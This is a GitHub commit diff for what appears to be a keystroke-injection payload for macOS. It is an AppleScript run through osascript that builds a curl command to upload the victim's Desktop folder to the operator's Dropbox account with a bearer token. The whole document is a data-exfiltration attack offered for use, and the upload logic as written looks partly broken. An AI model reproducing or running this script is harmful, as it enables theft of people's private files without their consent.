Update Desktop Data Upload .txt

This commit is contained in:
Narsty
2023-05-14 17:21:16 -05:00
committed by GitHub
parent 865093bedd
commit 87164a22cd
+10 -8
View File
@@ -5,14 +5,16 @@ REM Version 1.0 MacOs
osascript -e 'tell application "Script Editor"
set desktopPath to POSIX path of (path to desktop folder)
set dropboxAPIPath to "Your API token Here"
set uploadScript to "curl -X POST 'URL of the Dropbox API endpoint' \
-H 'Authorization: Bearer " & dropboxAPIPath & "' \
-H 'Dropbox-API-Arg: {\"path\": \"/Desktop/$(basename \\\"" & desktopPath & "\\\"), \\\"mode\\\": \\\"overwrite\\\"}' \
-H 'Content-Type: application/octet-stream' \
--data-binary @\"" & desktopPath & "\""
do shell script uploadScript
set desktopPath to POSIX path of (path to desktop folder)
set dropboxAPIPath to "Your API token Here"
set apiEndpointURL to "https://api.dropboxapi.com/2/files/upload"
set uploadScript to "curl -X POST \"" & apiEndpointURL & "\" " & ¬
"-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬
"-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/Desktop/$(basename " & desktopPath & "), \\\"mode\\\": \\\"overwrite\\\"}\" " & ¬
"-H \"Content-Type: application/octet-stream\" " & ¬
"-d @\"" & desktopPath & "\""
do shell script uploadScript
end tell'